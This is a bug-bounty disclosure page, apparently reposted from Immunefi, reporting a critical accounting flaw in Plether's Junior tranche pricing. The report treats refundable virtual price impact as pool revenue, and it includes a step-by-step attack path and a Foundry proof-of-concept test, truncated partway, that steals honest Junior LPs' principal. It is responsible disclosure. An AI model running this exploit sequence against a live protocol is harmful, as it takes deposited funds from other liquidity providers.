Skip to content
Business logic Audit finding Advanced

Junior tranche NAV counts refundable virtual price impact as pool revenue, enabling direct theft of principal from the Junior holders who remain

The Junior tranche's net asset value counted the virtual price impact paid on a skew-increasing trade as final pool revenue, even though the same position could reclaim that amount as a rebate when it closed. An attacker holding Junior shares could redeem at the inflated NAV and then close the trade, leaving the remaining Junior holders to fund the refund out of their principal.

Emmac Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#98177 [SC-Critical] Junior tranche NAV counts refundable virtual price impact as pool revenue, enabling direct theft of principal from the Junior holders who remain

Submitted on Nov 5th 2026 at 18:23:55 UTC by @Emmac for Audit Competition | Plether

Description

Brief/Intro

Plether prices Junior LP deposits and redemptions from a net asset value that treats the virtual price impact (VPI) a trader pays on a skew-increasing open as final pool revenue. That VPI is not final. The position's lifetime rebate clamp entitles the same account to reclaim the full amount when it closes, and the pool pays it back out of cash. For the whole interval between the open and the close, Junior NAV is overstated by the outstanding VPI, and nothing in the pool's accounting records the matching refund obligation. An attacker who controls one ordinary LP address and one ordinary trading address requests a Junior redemption, opens a skew-increasing position so that the next LP-epoch settlement prices the redemption on the inflated NAV, then closes the position so the pool refunds the VPI. The redeeming account leaves with a pro rata share of cash the pool is obligated to return, and the Junior holders who stay in the pool fund that refund out of their deposited principal. The price never moves, no privileged role is involved, and the loss is realized USDG, not a paper mark.

Vulnerability Details

Background: VPI and the lifetime clamp

Virtual price impact is a skew-based charge or rebate assessed on trades, accounted separately from price PnL. A trade that increases the pool's absolute directional skew pays a positive VPI into the pool; a trade that reduces skew receives a negative VPI (a rebate) out of the pool. The charge is the difference of a state potential C(S) = k * S^2 / (2 * D), where k is vpiFactor, S is absolute skew, and D is economic depth (WHITEPAPER.md section 5.1).

Each position carries a signed lifetime accrual vpiAccrued. A close evaluates a fresh VPI delta at the current pre-close and post-close skew, then applies a lifetime clamp so that the position can never reclaim more than it has paid:

Solidity
// packages/perps/src/libraries/CloseAccountingLib.sol:103-118
state.proportionalAccrualAssets =
    (inputs.position.vpiAccrued * int256(inputs.sizeDelta)) / int256(inputs.position.size);
// With no economic depth, keep protective exits live without creating a fresh charge or rebate.
// The lifetime clamp below still recovers any previously received negative VPI.
if (inputs.poolDepthAssets != 0) {
    state.vpiDeltaAssets = CfdMath.calculateVPI(
        inputs.preSkewAssets, inputs.postSkewAssets, inputs.poolDepthAssets, inputs.vpiFactor
    );
}
// Clamp so lifetime VPI (accrued + delta) never goes negative. Prevents LP sandwich attacks
// where an attacker opens at high depth, reduces pool depth, then closes to extract a
// net-negative lifetime VPI rebate. This rule is identical in live and oracle-frozen markets; frozen-market
// stale-price risk is priced separately through frozenSpreadAssets.
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
    state.vpiDeltaAssets = -state.proportionalAccrualAssets;
}

The clamp binds only when the position would end with negative lifetime VPI. A position that pays c on open and reverses the identical skew change at the same depth on close has proportionalAccrualAssets = +c and vpiDeltaAssets = -c. Their sum is zero, so the clamp does not bind and the full c is refunded. The whitepaper states this outright: "The VPI charge is $20,000. Reversing the move at unchanged depth produces a $20,000 rebate before the lifetime clamp" (WHITEPAPER.md:903-904). The clamp exists to stop a trader from profiting on the VPI round trip, and it does: the trader leg nets to zero on VPI and loses only its fees. That protection is confirmed by the project's own test test_VpiClampPreventsNetRebateExtraction in test/perps/accounting/close/VpiRoundTripAccounting.t.sol, which asserts the round-tripping trader ends exactly deposit - 2 * executionFee.

The open pays real cash into the pool and the waterfall books it to Junior

When a skew-increasing open executes, the positive VPI is collected as settlement cash and recorded as pool revenue:

Solidity
// packages/perps/src/CfdEngineSettlementSidecar.sol:454-460
if (delta.tradeCostAssets > 0) {
    uint256 poolCashInflowAssets = uint256(delta.tradeCostAssets) - protocolFeeCreditedAssets;
    if (poolCashInflowAssets > 0) {
        IHousePool(host.pool())
            .recordClaimantInflow(
                poolCashInflowAssets,
                IHousePool.ClaimantInflowKind.Revenue,
                IHousePool.ClaimantInflowCashMode.CashArrived
            );

At the next reconcile, the Senior tranche is a fixed-rate coupon claimant, so all revenue above the Senior coupon flows to Junior principal through the waterfall (HousePoolWaterfallAccountingLib.distributeRevenue, HousePoolWaterfallAccountingLib.sol:140-159). Junior NAV rises by the full c.

LP pricing omits the refund obligation

Both deposits and redemptions are priced from one signed terminal equity figure:

Text
signedTerminalEquity = physicalAssets - totalTraderClaimBalanceAssets + terminalLpPriceDeltaAssets
distributable        = max(signedTerminalEquity, 0)

This is ACCOUNTING_SPEC.md:158-174, computed in HousePoolAccountingLib and consumed by every Junior deposit and redemption. The pricing input terminalLpPriceDeltaAssets carries the collectible price-PnL adjustment only:

Solidity
// packages/perps/src/CfdEngineProtocolLens.sol:70
snapshot.terminalLpPriceDeltaAssets = terminalSnapshot.terminalLpPriceDeltaAssets;

The protocol deliberately keeps anticipated VPI out of the terminal curve: "neither anticipated VPI nor its reserve inflates terminal K or symmetric NAV" (SECURITY.md:872). That rule is written for negative accrued VPI, which is held as a dedicated non-withdrawable reserve. It is not applied to positive accrued VPI. Positive VPI has already been paid in as physical cash, so it enters physicalAssets in full, it is not a trader claim, and terminalLpPriceDeltaAssets does not subtract it. The pool therefore prices Junior shares against cash it is contractually going to hand back, and books no offsetting liability for the refund. The treatment is asymmetric: negative accrued VPI is excluded from NAV, positive accrued VPI is included.

The close pays the cash back out, after the redeeming LP has left

On close, the clamped rebate is paid from free pool cash to the trader:

Solidity
// packages/perps/src/CfdEngineSettlementSidecar.sol:621-623
if (delta.actionRebatePaidAssets > 0) {
    IHousePool(host.pool()).payOut(address(clearinghouse), delta.actionRebatePaidAssets);
    clearinghouse.settleAssets(delta.account, int256(delta.actionRebatePaidAssets));
}

Pool cash drops by c, Junior NAV falls by c, and that decline lands entirely on whoever still holds Junior shares. If the attacker's LP leg redeemed while the VPI was outstanding, the attacker is gone, and the honest holders absorb the full decline.

Why the timing is reachable by an untrusted actor

The redemption price is fixed at settlement time, not at request time. Global invariant 15 states "LP request ids use the same five-minute cutoff for both tranches and both directions; maturity does not fix a price" (ACCOUNTING_SPEC.md:1298). The attacker requests the redemption on a flat book, opens the skew-increasing position shortly before the epoch boundary, and any keeper's settleLpEpoch prices the matured redemption on the inflated NAV because the position is open and its VPI is in the pool. The attacker then closes. Execution and settlement are permissionless, and the program states keepers are not trusted. In the proof of concept, an independent keeper address performs every executeOrder, updateMarkPrice, and settleLpEpoch call, so the attacker does not control settlement timing beyond ordinary order submission.

The broken invariant, stated precisely

ACCOUNTING_SPEC.md:172 describes the pricing as symmetric: "an entrant receives the same discount for inherited marked liabilities that an exiting LP bears". Global invariant 7 (ACCOUNTING_SPEC.md:1288, "LP entry and exit use the same terminal-NAV accounting") is not literally broken, because entry and exit do use the one formula. The defect is that the formula omits refundable VPI, which is an unmarked liability the symmetry clause does not reach, so entrant and exiting LP are made equal on a NAV that is itself wrong while the liability is outstanding. The documents disclose the equivalent timing trade-off for carry and limit it to carry (ACCOUNTING_SPEC.md:737, "This intentionally allows a trader and incoming LP to time collection after LP activation and share carry accrued before that activation"). Carry is real, non-refundable revenue, so timing around it only redistributes earned income and leaves the pool whole. VPI is refundable, so timing around it removes principal from the holders who stay and leaves the pool short by the fees. No document discloses that an LP can take other LPs' funds through VPI.

End-to-end attack path

  1. The attacker holds a share f of the Junior tranche through an ordinary LP address and funds an ordinary trading address through clearinghouse.depositMargin.
  2. juniorVault.requestRedeem for the full LP stake, on a flat book. The request matures at epoch e.
  3. About ninety seconds before lpEpochStart(e), router.commitOrder for a skew-increasing open of notional N under the 0.4 skew cap, executed by an independent keeper through router.executeOrder. VPI c enters the pool.
  4. After the epoch opens, the independent keeper runs router.settleLpEpoch. The matured redemption is funded at the inflated NAV, which includes c.
  5. router.commitOrder for a full close, executed by the keeper. The clamp refunds c from pool cash. Junior NAV drops onto the holders who stayed.
  6. juniorVault.claimRedeem, then juniorVault.requestDeposit at the now-fair NAV, wait out the one-hour cooldown, and repeat.

Per round, with depth D, existing same-direction skew S0, and k = 0.01, the attacker's LP leg captures f * k * (2 * S0 * N + N^2) / (2 * D) and the trading leg costs two execution fees of 4 bps each on N plus the adverse-confidence shift on both fills. The attack is profitable once the captured VPI exceeds those fixed fees.

Impact Details

In-scope impact: Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield. Severity: Critical.

The funds stolen are deposited USDG that honest Junior LPs hold as principal, not unclaimed yield. The price is flat in every measurement, the only "revenue" in the pool is the attacker's own VPI, and that VPI is refunded to the attacker. The honest holder actually redeems and receives fewer USDG than it would have with no attack, so the loss is realized, not a mark. The attacker ends above its starting capital, so the griefing downgrade does not apply.

All figures are measured by the proof of concept at release parameters, with depth 10,000,000 USDG split 5,000,000 Junior and 5,000,000 Senior, price flat at 1.08000013, confidence 0.46 bps on every fill, Senior coupon and carry active. Each row compares two runs from one snapshot that are identical except for the attacker's position, and the amounts close to within 0.012 USDG across attacker, honest holder, Senior, treasury, and keeper, which proves conservation.

Attacker share of Junior Book Rounds Honest holder vs no attack Attacker vs no attack Attacker vs starting capital
25% flat 1 -255.38 -1,299.99 -1,357.13
50% flat 1 -2,156.11 +600.73 +486.50
50% flat 8 (24 h) -17,357.81 (-69 bps) +4,914.76 +4,480.84
60% flat 8 (24 h) -23,461.94 (-117 bps) +11,018.90 +10,498.19
30% 0.19 D existing skew 1 not applicable +106.52 not applicable

Entering during the mirror-direction rebate dip, with a 15,000,000 deposit against 5,000,000 of incumbents and 0.35 D of existing skew, the attacker nets +1,661.42 and the incumbent loses 4,426.44.

The loss recurs. The eight-round figures are about eight times the single-round figures, and the attack repeats every three hours. Amounts scale linearly with depth, and the release Senior cap alone admits 40,000,000 USDG of depth. In the headline 24-hour run, the honest holder loses 17,357.81 USDG of its 2,500,000 deposit; the attacker keeps 4,914.76 and the treasury collects 12,441.46 as execution fees paid by the attacker's trading leg. The honest holder funds both the attacker's profit and those fees out of its principal.

Feasibility, stated plainly:

  • Stake. On a flat book the attack needs about 42% of the Junior tranche; the 25% row loses money. Existing skew lowers the threshold because each unit of notional then pumps more, and 30% is measured profitable once ordinary skew exists. The program states that a high capital requirement is generally not a valid reason to downgrade a report, and that impact is calculated first, separately from feasibility.
  • Price exposure. The position is open for about two minutes per round. This is zero-mean noise of a few hundred USDG at this size, it is hedgeable off platform, and the exiting LP leg offsets part of it until the redemption funds. The proof of concept holds the price flat to isolate the accounting.
  • Covenant. Junior redemptions must leave the Senior-share covenant satisfied, which caps f. Every row above respects it, and the headline rows value any queued slice at NAV.

References

  • packages/perps/src/CfdEngineSettlementSidecar.sol:454-460 (positive VPI recorded as pool revenue on open) and :621-623 (clamped rebate paid from pool cash on close).
  • packages/perps/src/libraries/CloseAccountingLib.sol:103-118 (lifetime clamp; full refund on a symmetric round trip).
  • packages/perps/src/CfdEngineProtocolLens.sol:70 (LP pricing input carries only terminalLpPriceDeltaAssets; refundable VPI absent).
  • packages/perps/src/libraries/HousePoolAccountingLib.sol:60-78 (distributable = physicalAssets - claims + terminalLpPriceDeltaAssets).
  • packages/perps/src/libraries/HousePoolWaterfallAccountingLib.sol:140-159 (revenue above the Senior coupon flows to Junior).
  • packages/perps/src/HousePool.sol:839-842, :944 (Junior deposit and redemption pricing from that principal).
  • packages/perps/ACCOUNTING_SPEC.md:158-174 (symmetric exact marked NAV), :737-740 (carry timing policy, carry only), :1288 (global invariant 7), :1298 (global invariant 15, maturity does not fix a price).
  • packages/perps/SECURITY.md:863 (VPI stays outside the pre-close price book), :872 (anticipated VPI and its reserve do not inflate terminal K or symmetric NAV), :1443 (clamp zeroes extractable rebate-only round trips, trader leg only).
  • packages/perps/WHITEPAPER.md:411-412 (positive VPI increases physical pool assets), :903-904 (a reversal refunds the full charge before the clamp).
  • packages/perps/DEPLOYMENT.md (release parameters asserted by the proof of concept).
  • packages/perps/test/perps/accounting/close/VpiRoundTripAccounting.t.sol (test_VpiClampPreventsNetRebateExtraction, the project's own proof that the clamp protects the trader leg only).

Proof of Concept

Proof of Concept

Place the file at packages/perps/test/perps/poc/JuniorNavRefundableVpiPoC.t.sol at commit a82d4fefb02768e5b3bddcc97dee371eee24fea8, with no other change, and run:

Shell
FOUNDRY_TEST=test/perps/poc forge test --root packages/perps \
  --match-path 'test/perps/poc/JuniorNavRefundableVpiPoC.t.sol' -vv

FOUNDRY_TEST=test/perps/poc limits compilation to this directory. The test extends BasePerpTest, uses only the production V3 order path, mocks only Pyth and USDG, applies the DEPLOYMENT.md release parameters (asserted by test_ReleaseParameters), and holds the price flat at 1.08000013. Owner actions occur only in setUp to install release configuration. The attacker's LP and trading addresses and the independent keeper are plain addresses using public entrypoints. Each economic test runs the same rounds twice from one snapshot, once with the attack and once without, and asserts both the attacker profit and the honest-holder loss, with a conservation check that every USDG is accounted for.

The correct fix makes this test fail. Tracking the signed sum of vpiAccrued across open positions in the Engine and subtracting it from the delta that feeds distributable keeps refundable VPI out of LP pricing until it is final. With that change applied, every profit-claiming test turns red; the attacker loses its fees in every scenario, for example a net of -25,425.78 USDG over the 24-hour run, and the honest holder finishes +12,982.71 instead of -17,357.81.

Test source

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";

import {BasePerpTest} from "../BasePerpTest.sol";

/// @title PoC: Junior LP pricing counts refundable VPI, so a Junior holder extracts the funds of the holders who stay
/// @notice A skew-increasing open pays VPI into HousePool, and the waterfall books all of it to Junior at the next reconcile.
///         The same position receives it back as a rebate when it closes. A Junior holder whose redemption is funded between
///         the two receives a pro-rata share of money that is about to be refunded, and the holders who stay pay the refund.
///         The mirror case is a skew-reducing open, whose rebate depresses Junior NAV until the close claws it back.
///
///         Every path compares two runs from one snapshot, identical except for the attacker's position. The price is flat
///         at 1.08000013 throughout, so no result comes from a market move. Mocks: Pyth and USDG only. Owner actions: setup only.
///         Attackers and the keeper are plain addresses using public entrypoints.
contract JuniorNavRefundableVpiPoC is BasePerpTest {

    uint256 internal constant PX = 108_000_013;
    /// @dev 0.46 bps of price: nonzero, so fills pay the real adverse-confidence shift, and inside the 10 bps basket cap.
    uint64 internal constant CONFIDENCE = 5000;
    uint256 internal constant LOT = 1e20;
    uint256 internal constant LOT_NOTIONAL = 108e6;

    uint256 internal constant JUNIOR_ASSETS = 5_000_000e6;
    uint256 internal constant SENIOR_ASSETS = 5_000_000e6;
    /// @dev 3.888M notional: 0.39 of the 10M depth, under the 0.4 skew cap.
    uint256 internal constant PUMP_LOTS = 36_000;
    uint256 internal constant TRADER_CAPITAL = 1_000_000e6;

    address internal attackerLp = makeAddr("attackerLp");
    address internal attackerTrader = makeAddr("attackerTrader");
    address internal honestJunior = makeAddr("honestJunior");
    address internal honestSenior = makeAddr("honestSenior");
    address internal retailTrader = makeAddr("retailTrader");
    address internal keeper = makeAddr("independentKeeper");

    uint256 internal clientNonce;
    uint256 internal attackerCapital;
    uint256 internal honestDeposit;

    struct Result {
        uint256 attackerWealth;
        uint256 honestCash;
        uint256 seniorValue;
        uint256 treasury;
        uint256 keeperCredit;
    }

    // ------------------------------------------------------------------ release configuration (DEPLOYMENT.md)

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function _initialJuniorSeedDeposit() internal pure override returns (uint256) {
        return 1e6;
    }

    function _initialSeniorSeedDeposit() internal pure override returns (uint256) {
        return 1e6;
    }

    function setUp() public override {
        super.setUp();
        IHousePool.PoolConfig memory poolConfig = _currentPoolConfig();
        poolConfig.maxSeniorExposureAssets = 40_000_000e6;
        poolConfig.maxSeniorShareBps = 8000;
        pool.proposePoolConfig(poolConfig);
        IOrderRouterAdminHost.RouterConfig memory routerConfig = _routerConfig();
        routerConfig.minOpenNotionalAssets = 1000e6;
        routerConfig.adverseConfidenceMultiplierBps = 2500;
        routerAdmin.proposeRouterConfig(routerConfig);
        vm.warp(block.timestamp + 72 hours + 1);
        pool.finalizePoolConfig();
        routerAdmin.finalizeRouterConfig();
    }

    function test_ReleaseParameters() public view {
        (uint256 vpiFactor, uint256 maxSkew, uint256 maint, uint256 init, uint256 fad, uint256 carry,,,,) = engine.riskParams();
        assertEq(vpiFactor, 0.01e18, "vpiFactor");
        assertEq(maxSkew, 0.4e18, "maxSkewRatio");
        assertEq(maint, 10, "maintMarginBps");
        assertEq(init, 20, "initMarginBps");
        assertEq(fad, 300, "fadMarginBps");
        assertEq(carry, 500, "baseCarryBps");
        assertEq(engine.executionFeeBps(), 4, "executionFeeBps");
        assertEq(engine.settlementBufferBps(), 25, "settlementBufferBps");
        assertEq(pool.seniorRateBps(), 800, "seniorRateBps");
        assertEq(pool.maxSeniorShareBps(), 8000, "maxSeniorShareBps");
        assertEq(router.minOpenNotionalAssets(), 1000e6, "minOpenNotionalAssets");
        assertEq(router.pletherOracle().adverseConfidenceMultiplierBps(), 2500, "adverseConfidenceMultiplierBps");
    }

    // ------------------------------------------------------------------ helpers

    function _warpToMondayNoon() internal {
        uint256 ts = vm.getBlockTimestamp();
        uint256 day = ts / 1 days;
        uint256 dow = (day + 4) % 7;
        uint256 daysAhead = dow == 1 ? 7 : (8 - dow) % 7;
        vm.warp((day + daysAhead) * 1 days + 12 hours);
        vm.roll(vm.getBlockNumber() + 1);
    }

    function _tick(
        uint256 secondsAhead
    ) internal {
        vm.warp(vm.getBlockTimestamp() + secondsAhead);
        vm.roll(vm.getBlockNumber() + 1);
    }

    function _priceData() internal pure returns (bytes[] memory data) {
        data = new bytes[](1);
        data[0] = abi.encode(PX);
    }

    function _refreshMark() internal {
        _tick(1);
        vm.prank(keeper);
        router.updateMarkPrice(_priceData());
    }

    function _lpDeposit(
        TrancheVault vault,
        address lp,
        uint256 amount
    ) internal {
        settlementToken.mint(lp, amount);
        vm.startPrank(lp);
        settlementToken.approve(address(vault), amount);
        uint256 requestId = vault.requestDeposit(amount, lp, lp);
        vm.stopPrank();
        vm.warp(pool.lpEpochStart(requestId));
        vm.prank(keeper);
        pool.settleLpEpoch(0, 0);
        uint256 claimable = vault.claimableDepositRequest(requestId, lp);
        vm.prank(lp);
        vault.claimDeposit(requestId, claimable, lp, lp);
    }

    function _fund(
        address trader,
        uint256 amount
    ) internal {
        settlementToken.mint(trader, amount);
        vm.startPrank(trader);
        settlementToken.approve(address(clearinghouse), amount);
        clearinghouse.depositMargin(amount);
        vm.stopPrank();
    }

    function _commit(
        address trader,
        CfdTypes.Side side,
        uint256 lots,
        uint256 margin,
        bool isClose
    ) internal returns (uint64 orderId) {
        uint256 window = router.maxExecutionWindowSeconds();
        OrderV3Types.OrderRequest memory request = OrderV3Types.OrderRequest({
            clientOrderId: keccak256(abi.encode("poc", trader, ++clientNonce)),
            side: side,
            sizeDelta: lots * LOT,
            marginDelta: margin,
            targetPrice: (side == CfdTypes.Side.LONG) == isClose ? type(uint256).max : 1,
            isClose: isClose,
            bounds: OrderV3Types.ExecutionBounds({
                submitBy: uint64(vm.getBlockTimestamp() + window),
                executionWindowSeconds: uint32(window),
                allowedExecutionModes: 7,
                expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
                maxExecutionBountyAssets: type(uint256).max,
                maxExecutionNotionalAssets: type(uint256).max,
                maxGrossAccountDebitAssets: type(uint256).max,
                maxActionChargeAssets: type(uint256).max,
                maxExplicitFeesAssets: type(uint256).max,
                maxPostPositionSize: type(uint256).max,
                minPostSettlementBalanceAssets: 0,
                minPostPositionEquityAssets: 0,
                maxPostLeverageBps: type(uint32).max
            })
        });
        vm.prank(trader);
        orderId = router.commitOrder(request);
    }

    /// @dev The first post-commit tick carries nonzero confidence, so each fill pays the release adverse shift.
    function _execute(
        uint64 orderId
    ) internal {
        _tick(1);
        uint256 publishTime = _mockHistoricalPublishTime();
        baseMockPyth.setAllUniquePrices(
            _basePythFeedIds(), int64(uint64(PX)), CONFIDENCE, int32(-8), publishTime, publishTime - 1
        );
        vm.prank(keeper);
        router.executeOrder(orderId, _priceData());
    }

    function _open(
        address trader,
        CfdTypes.Side side,
        uint256 lots
    ) internal {
        _execute(_commit(trader, side, lots, lots * LOT_NOTIONAL / 20, false));
    }

    function _close(
        address trader,
        CfdTypes.Side side,
        uint256 lots
    ) internal {
        _refreshMark();
        _execute(_commit(trader, side, lots, 0, true));
        (uint256 size,,,,,,) = engine.positions(trader);
        assertEq(size, 0, "position closed");
    }

    /// @dev Settlement is run by an independent keeper; the attacker neither calls it nor chooses when it happens.
    function _keeperSettles() internal {
        _tick(1);
        vm.prank(keeper);
        if (engine.terminalNavSnapshot().hasOpenPositions) {
            router.settleLpEpoch(_priceData());
        } else {
            pool.settleLpEpoch(0, 0);
        }
    }

    function _setUpPool(
        uint256 attackerShareBps
    ) internal {
        _warpToMondayNoon();
        _refreshMark();
        uint256 attackerStake = JUNIOR_ASSETS * attackerShareBps / 10_000;
        honestDeposit = JUNIOR_ASSETS - attackerStake;
        _lpDeposit(juniorVault, honestJunior, honestDeposit);
        if (attackerStake != 0) {
            _lpDeposit(juniorVault, attackerLp, attackerStake);
        }
        _lpDeposit(seniorVault, honestSenior, SENIOR_ASSETS);
        _fund(attackerTrader, TRADER_CAPITAL);
        attackerCapital = attackerStake + TRADER_CAPITAL;
        _tick(2 hours);
    }

    function _delta(
        uint256 a,
        uint256 b
    ) internal pure returns (int256) {
        return int256(a) - int256(b);
    }

    // ------------------------------------------------------------------ the attack

    /// @dev One round. The redemption is requested first, with the book flat. The position is open before the epoch starts,
    ///      so the first settlement by anyone prices it, and it closes afterwards. The attacker then re-enters at the now-fair
    ///      NAV and waits out the cooldown.
    function _round(
        bool attack,
        uint256 lots
    ) internal {
        _refreshMark();
        uint256 shares = juniorVault.balanceOf(attackerLp);
        vm.prank(attackerLp);
        uint256 redeemId = juniorVault.requestRedeem(shares, attackerLp, attackerLp);

        vm.warp(pool.lpEpochStart(redeemId) - 90);
        vm.roll(vm.getBlockNumber() + 1);
        _refreshMark();
        if (attack) {
            _open(attackerTrader, CfdTypes.Side.LONG, lots);
        }
        vm.warp(pool.lpEpochStart(redeemId) + 7);
        vm.roll(vm.getBlockNumber() + 1);
        _refreshMark();
        _keeperSettles();
        if (attack) {
            _close(attackerTrader, CfdTypes.Side.LONG, lots);
        }

        uint256 claimable = juniorVault.claimableRedeemRequest(redeemId, attackerLp);
        vm.prank(attackerLp);
        juniorVault.claimRedeem(redeemId, claimable, attackerLp, attackerLp);

        uint256 cash = settlementToken.balanceOf(attackerLp);
        _refreshMark();
        vm.startPrank(attackerLp);
        settlementToken.approve(address(juniorVault), cash);
        uint256 depositId = juniorVault.requestDeposit(cash, attackerLp, attackerLp);
        vm.stopPrank();
        vm.warp(pool.lpEpochStart(depositId) + 7);
        vm.roll(vm.getBlockNumber() + 1);
        _refreshMark();
        _keeperSettles();
        uint256 owed = juniorVault.claimableDepositRequest(depositId, attackerLp);
        vm.pra

The original report as published on Immunefi, by Emmac. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the LP pricing formula includes positive accrued virtual price impact as physical cash without subtracting the matching refundable liability owed to the open position.

Impact

An attacker could steal deposited principal from honest Junior holders, with the proof of concept showing a holder losing about 17,357 USDG over a 24-hour run while the attacker profited, though the attack needs a large share of the Junior tranche and the position is exposed to price noise while open.

What the attacker needed

A large Junior tranche share (~42% flat book); two ordinary addresses; keeper settles the epoch; position open ~2 minutes per round

The fix

The signed sum of accrued virtual price impact across open positions should be tracked and subtracted from the figure that feeds distributable, keeping refundable VPI out of LP pricing until it is final.

How it was found

  1. The attacker holds a share of the Junior tranche and funds a separate trading address.
  2. The attacker requests a full Junior redemption on a flat book, maturing at a future epoch.
  3. Shortly before the epoch starts, the attacker opens a skew-increasing position so its virtual price impact enters the pool.
  4. After the epoch opens, a keeper settles the epoch and the redemption is priced on the inflated NAV.
  5. The attacker closes the position, and the clamp refunds the virtual price impact from pool cash.
  6. The attacker claims the redemption and can repeat the cycle after the cooldown.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A pool lets people deposit money and earn a share of its value. When a trader opens a position, the pool charges a fee-like amount called virtual price impact, and the pool's books treated that money as permanent profit, raising the value of everyone's shares. But the same trader gets that amount back when the position closes, so the money was never really profit. By redeeming shares while the books looked richer and closing the trade afterwards, an attacker could take out more than their fair share, and the people who stayed in the pool paid for it.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Emmac

View all

1 more disclosed report, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.